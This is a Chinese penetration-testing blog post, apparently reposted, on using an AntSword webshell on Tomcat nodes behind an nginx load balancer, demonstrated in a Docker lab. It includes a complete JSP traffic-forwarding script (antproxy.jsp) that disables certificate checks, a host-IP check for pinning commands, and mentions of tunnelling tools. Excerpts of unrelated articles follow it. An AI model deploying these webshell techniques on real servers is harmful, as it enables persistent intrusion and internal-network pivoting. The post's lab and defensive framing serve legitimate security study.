负载均衡下的webshell上传

news/2024/4/28 5:35:59/文章来源:https://blog.csdn.net/qq_55316925/article/details/128957291

负载均衡下的webshell上传

  • 1.应用场景
  • 2.面临的困难
    • 2.1 shell文件上传问题
    • 2.2 命令执行时的漂移
    • 2.3 大工具投放失败
    • 2.4 内网穿透工具失效
  • 3.一些解决方案
    • 3.1 关机
    • 3.2 基于IP判断执行主机
    • 3.3 脚本实现web层的流量转发
      • 3.3.1 创建antproxy.jsp脚本
      • 3.3.2 修改 Shell 配置
  • 4.总结

1.应用场景

负载均衡作为现今解决web应用承载大流量访问问题的一种方案,在真实环境中得到广泛的部署。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

比如基于dns的负载均衡:
在这里插入图片描述
当然还有nginx的经典的基于反向代理实现的负载均衡。用户在通过单一IP地址访问服务器时,永远不会知道自己的处理服务器是那一台。对于这部分内容我在前面的《NGINX反向代理实现负载均衡》中有详细谈过它的分类以及配置方法。我们再来回顾以下nginx支持的负载均衡的方式:

轮询默认方式
weight权重方式
ip_hash依据ip分配方式
least_conn最少连接方式
fair(第三方)响应时间方式
url_hash(第三方)依据URL分配方式

可以看到,支持的负载均衡模式很多。无论时什么样的负载均衡模式都可以以这样的规则进行划分,即是否可以确定地访问某一台固定的服务器。

为什么这样说呢,因为在渗透测试的过程中,有一个比较固定的思维就是所有的攻击都围绕着拿到webshell获取服务器权限而进行。不管是漏洞利用也好,暴力破解也罢。都是为了拿到webshell,提权,渗透内网。整体的流程就是这样,但是一旦遇到负载均衡隐藏掉后端真实服务器IP后,就会出现一大堆的问题无法解决。本文就是要理清楚这样一种环境下上传webshell的思路。

2.面临的困难

总体来说面临着四个难点,webshell上传,命令执行,工具投放,内网渗透做隧道。下面我们用蚁剑作者提供的docker镜像来演示遇到的问题。

https://github.com/AntSwordProject/AntSword-Labs

在这里插入图片描述
下载后上传至服务器进行解压,到指定目录下,启动环境:

[root@blackstone loadbalance-jsp]# pwd
/home/batman/AntSword-Labs-master/loadbalance/loadbalance-jsp
[root@blackstone loadbalance-jsp]# docker-compose up -d

我们查看它的compose文件可以看到:
在这里插入图片描述
nginx的80端口被映射到主机的18080端口之上,访问http://192.168.2.169:18080
就可以访问到我们的web服务了。Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。

在这里插入图片描述

此时打开蚂蚁剑我们尝试连接先前在node12上均插入了的webshell

在这里插入图片描述
在这里插入图片描述
完了点击添加,就正式连接到我们的webshell了。

2.1 shell文件上传问题

尝试多次刷新,十分流畅:

在这里插入图片描述

我们进入一个节点服务器,尝试让webshell失效:

[root@blackstone loadbalance-jsp]# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                   NAMES
c549f819e15e        nginx:1.17                 "nginx -g 'daemon of…"   36 minutes ago      Up 36 minutes       0.0.0.0:18080->80/tcp   loadbalance-jsp_nginx_1
bab0805650c1        loadbalance-jsp_lbsnode2   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode2_1
59bf661c6b83        loadbalance-jsp_lbsnode1   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode1_1
[root@blackstone loadbalance-jsp]# docker exec -it bab0805650c1  /bin/bashroot@bab0805650c1:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/37/map_files’: Operation not permitted
find: ‘/proc/41/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@bab0805650c1:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant

再次尝试刷新:
在这里插入图片描述
看见了没,闪红了!其实是因为再次刷新的时候请求被解析到了这台修改过的节点服务器上,因为上面并没有们上传上去的文件。故访问不到,出现了404。故如何让我们的webshell均匀的出现在节服务器上,是第一个问题。

2.2 命令执行时的漂移

对,你没听错,在这样的环境下我们发出去的webshell执行命令时,会发生严重的漂移现象。你永远不知道命令在哪台服务器上执行。

假设我们解决了第一个难点,webshell均匀的出现在了后端节点服务器上。

我们将先前失效的webshell复活:

root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp

到命令执行界面尝试执行命令:

在这里插入图片描述
执行查看IP地址的命令:
在这里插入图片描述

看到了没,这还是轮询状态下的IP变化,一旦是权重模式,再加上多台节点服务器。这个地址将变得无迹可寻。

2.3 大工具投放失败

当我们解决了上面两个难点,想要进一步渗透时,此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时,采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法。也就是说,我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。

2.4 内网穿透工具失效

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

在这里插入图片描述

这里来一张regerg程序运行的大致原理图,因为我们的节点服务器会不断变化,这就导致攻击者和部署了regeorg的主机之间无法保持完整的连接很长时间。即使每个节点主机上同时搭载这样的软件。与攻击者的连接仍然混乱不堪。无法稳定的代理内网的流量到攻击者手上。所以这样的环境下,要进行内网工具的部署,同样是一个极大的难点。

在这里插入图片描述

3.一些解决方案

要解决第一个难点其实比较简单,就一个词重复,疯狂上传多次,webshell肯定可以上传到所有的节点服务器上去。接下来我们得想办法解决剩下的难点。

3.1 关机

这个方案虽然看着是个方法,但是实际环境中先不说权限够不够。就是够,这样的操作也是十分危险的。虽然关闭节点服务器后,节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大,还要承担相应的法律责任。故不建议使用这种方法。

3.2 基于IP判断执行主机

要是在每一次执行命令前,可以判断以下主机的IP地址,那不就可以解决命令漂移问题了嘛。

这里需要用到一个shell:

#执行命令前进行ip判断,注意执行的命令写到then后else前即可。
if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi

比如像这样:

root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
node1 i will execute command.\n=========\n
172.19.0.2
root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.3" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
other.tryagain

这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑。甚至其在蚁剑的中断内运行会出问题。在真机上测试正常。

这样的方案确实很麻烦,并且并不能解决我们内网穿透的需求,所以不推荐使用。

3.3 脚本实现web层的流量转发

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。也就是说,我们写入一个脚本判断流量的目的地址,不是node1的话将流量中转给node1的ant.jsp即可。如此一来就可以建立攻击者和node1的稳定连接了。

图片

这是原作者的一张图,我们分析以下请求。

1.连接请求到达nginx进行负载均衡的转发,交由后端节点服务器处理
2.请求到达了节点1,访问到antproxy.jsp文件,将流量转发给172.23.0.2节点上的ant.jsp
3.请求到达节点2。访问节点2的antproxy.jsp文件,同样将流量转发给172.23.0.2节点上的ant.jsp文件。建立通信。

如此一来,就可以保证我们始终可以连接到节点1的ant.jsp文件,建立稳定通信了。说干就干。

这是转发脚本:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%>
<%		//注意这里的地址一定修改正确,不同的环境内部使用的地址不一定一样String target = "http://172.19.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>

3.3.1 创建antproxy.jsp脚本

修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。
在这里插入图片描述
在这里插入图片描述
注意:
(1)不要使用上传功能,会被分片无法传输
(2)一i的那个要多次保存,保证所有的节点都部署上了我们的转发脚本

在这里插入图片描述

3.3.2 修改 Shell 配置

将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

http://192.168.2.169:18080/antproxy.jsp

在这里插入图片描述

查看IP地址是否会继续漂移:

在这里插入图片描述
显然,此时我们的IP地址已经停止漂移了,也就是说,我们可以稳定的连接到节点服务器1上了。

4.总结

对于这一问题的思考也是有迹可循的。首先作为负载均衡相较于普通的服务结构其特点就是隐藏了真实服务的节点服务器。

之前我们上传webshell可以拆分为,上传木马文件,执行命令获取相关漏洞信息,工具投放以提升权限获取密码,部署穿透工具尝试攻击内网。

那么照着这个思路进行分析就行,上传木马文件那必须要雨露均沾,既然一次上传会出现漂移,那就多传几次。第二个问题,命令漂移,这个可以通过判断IP的方式勉强解决,其实还有更好的解决方案。第三和第四个问题,就必须借助流量转发脚本实现节点服务器的IP地址固定。如此一来就可以彻底消除负载均衡的影响,一切如同正常的webshell上传环境。

那么,解决方案三其实有一个很致命的问题,一旦内网节点服务器之间不互通,彻底失效。也就是说,我们从安全角度出发,实现了负载均衡之后,无特殊要求的话应尽量在节点服务器之间实现网络层的通信阻断。这样才能万无一失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_255823.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开发必看!三分钟读懂Salesforce SOQL查询和限制

SOQL是支持我们与Salesforce数据库交互的查询语言。开发人员在编写Apex时通常会使用到SOQL&#xff0c;此外&#xff0c;它还允许管理员和开发人员从组织内部检索数据并在导出结果时生成强大的数据报告。 SOQL 查询对于编写代码的开发人员&#xff0c;以及通过使用子句扩展查询…

STM32 复用JLink下载线输出调试信息

编写STM32程序时&#xff0c;要输出调试信息的话&#xff0c;一般是通过一个串口输出&#xff0c;电脑端使用串口调试助手显示调试信息。这样的话&#xff0c;就需要占用一个串口资源。还有一种SEGGER的RTT方式&#xff0c;直接使用JLink下载线输出调试信息&#xff0c;这样可以…

在线支付系列【21】微信支付服务商接入前准备

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 文章目录项目概述接入准备1. 注册服务商号&#xff08;获取服务商mchid&#xff09;2. 注册公众号&#xff08;获取服务商APPID&#xff09;3. 绑定应用ID和服务商ID4. 入驻子商户&#xff08;特约商户进…

使用Jmeter抓取手机APP报文并进行APP接口测试

Jmeter是一个比较常用的接口测试工具&#xff0c;尤其是接口性能测试。当然它也可以用来测试手机APP的HTTP接口&#xff0c;我在Fiddler抓取手机APP报文 和 接口测试代理工具charles mock测试 分别介绍了Fiddler和charles 如何抓取APP报文&#xff0c;本文介绍使用Jmeter来抓取…

内网渗透(十三)之内网信息收集-收集域环境中的基本信息

系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…

Jmeter之实现参数化的不同方式详解

参数化简介 定义&#xff1a;动态的获取、设置或生成数据&#xff0c;是一种由程序驱动代替人工驱动的数据设计方案&#xff0c;提高脚本的编写效率以及编写质量 适用场景&#xff1a;当提交的数据量较大时&#xff0c;每次修改太麻烦&#xff0c;可以使用参数化 本文介绍实现…

linux yum安装卸载jdk8

1>安装1 yum -y list java* 列出jdk列表2 yum install -y java-1.8.0-openjdk-demo.x86_64&#xff08;安装这个java -version 正常显示&#xff0c;但是javac不能用&#xff0c;因为yum install java 只是安装了java的运行时环境&#xff0c;并不支持编译&#xff0c;安装成…

NLP学习——信息抽取

信息抽取 自动从半结构或无结构的文本中抽取出结构化信息的任务。常见的信息抽取任务有三类&#xff1a;实体抽取、关系抽取、事件抽取。 1、实体抽取 从一段文本中抽取出文本内容并识别为预定义的类别。 实体抽取任务中的复杂问题&#xff1a; 重复嵌套&#xff0c;原文中…

使用openai-whisper 语音转文字

前言&#xff1a;最近由于ChatGPT 的大热&#xff0c;AI 应用领域再次进入大众的视线&#xff0c;今天介绍一款AI应用whisper 可以较为准确的将人声转换为文字&#xff08;支持多国语言&#xff09;一、安装安装有两种方式pip 和源码编译安装&#xff0c;这里介绍pip安装方式安…

欧盟砍伐森林法规和遵守情况 用Dimitra技术解决森林砍伐问题

两千年前&#xff0c;西欧有80%的地区被列为森林。今天&#xff0c;这个数字只有34%。森林砍伐影响着这个星球上的每个人。它造成了大约10%的全球变暖。如果不设法解决森林砍伐问题&#xff0c;就不可能应对全球变暖。 毁林是有目的的清除林地的行为。此外&#xff0c;工业化农…

cmd常用的操作命令

使用windows系统&#xff0c;通常在cmd中输入指令&#xff0c;会调用相应的一些程序或者执行一些功能&#xff0c;学会使用CMD中的命令&#xff0c;可以加快我们一些操作&#xff0c;省时省力。 ipconfig ------查询IP地址 gpedit.msc-----组策略 sndrec32-------录音机 Nsloo…

ClickHouse 合并树表引擎 MergeTree 索引与数据存储方式

目录 1. 一级索引 1.1 稀疏索引 1.2 索引粒度 1.3 索引数据的生成规则 1.4 索引的查询过程 2. 二级索引 2.1 granularity 与 index_granularity 2.2 跳数索引的生成规则

JVM从看懂到看开Ⅲ -- 类加载与字节码技术【上】

文章目录类文件结构魔数版本常量池访问标识与继承信息Field 信息Method 信息附加属性字节码指令初识javap工具图解方法执行流程通过字节码指令来分析分析 i问题条件判断指令循环控制指令构造方法cinit()Vinit()V方法调用多态原理异常处理try-catch多个single-catchfinallyfinal…

MDQ60-16-ASEMI三相整流模块MDQ60-16

编辑-Z MDQ60-16在MDQ封装里采用的4个芯片&#xff0c;是一款机床用三相可控整流模块。MDQ60-16的浪涌电流Ifsm为920A&#xff0c;漏电流(Ir)为5mA&#xff0c;其工作时耐温度范围为-40~150摄氏度。MDQ60-16采用GPP硅芯片材质&#xff0c;里面有4颗芯片组成。MDQ60-16的电性参…

TCP连接的状态详解以及故障排查(五)

同时打开 两个应用程序同时执行主动打开的情况是可能的&#xff0c;虽然发生的可能性较低。每一端都发送一个SYN,并传递给对方&#xff0c;且每一端都使用对端所知的端口作为本地端口。例如&#xff1a; 主机a中一应用程序使用7777作为本地端口&#xff0c;并连接到主机b 888…

WebDAV之葫芦儿·派盘+KMPlayer

KMPlayer 支持WebDAV方式连接葫芦儿派盘。 KMPlayer几乎可以播放您系统上所有的影音文件,支持几乎全部音视频格式。通过其强大的插件功能,可以支持层出不穷的新格式。软件还具有齐全的操控功能,支持捕获音频、捕获AVI、捕获画面、外挂字幕、自定义编辑设置,是视频爱好者的不…

Java NIO学习(二):Channel通道

2.1 Channel 概述Java NIO 的通道类似流&#xff0c;但又有些不同&#xff1a;既可以从通道中读取数据&#xff0c;又可以写数据到通道。但流的读写通常是单向的。通道可以异步地读写。通道中的数据总是要先读到一个 Buffer&#xff0c;或者总是要从一个 Buffer 中写入。2.2 Ch…

应用监控以及告警实现

前言 一个Java应用 可以不优秀&#xff0c;但是一定不能没有监控方案。否则极大影响排查线上问题的效 以及系统故障的及时告警 。试想 核心应用挂了一个 但是没有配置告警 理想情况几个小时 被自己人发现了 但是万一自己人也没看到或者没关注 那难道让服务一直挂下去么 &#…

var const let

菜鸟学前端 本文&#xff1a;https://www.jianshu.com/p/b7116525273b 文章目录varlet和const写不动了参考说实话&#xff0c;在看到这个之前&#xff0c;我只知道 var&#xff0c;以前也只用过这玩意。 后面那俩都不知道是干啥用的。 感谢同桌的提示。 记&#xff01; var v…

四 、QML常用控件的使用详解

在Qt Quick的世界里&#xff0c;window对象用于创建一个与操作系统相关的顶层窗口&#xff0c;而其他的元素&#xff0c;如Text Rectangle,Image等&#xff0c;都睡Windows提功能场景里面的显示对象&#xff0c;Window还有一个派生类&#xff0c;即是大名鼎鼎的Application Win…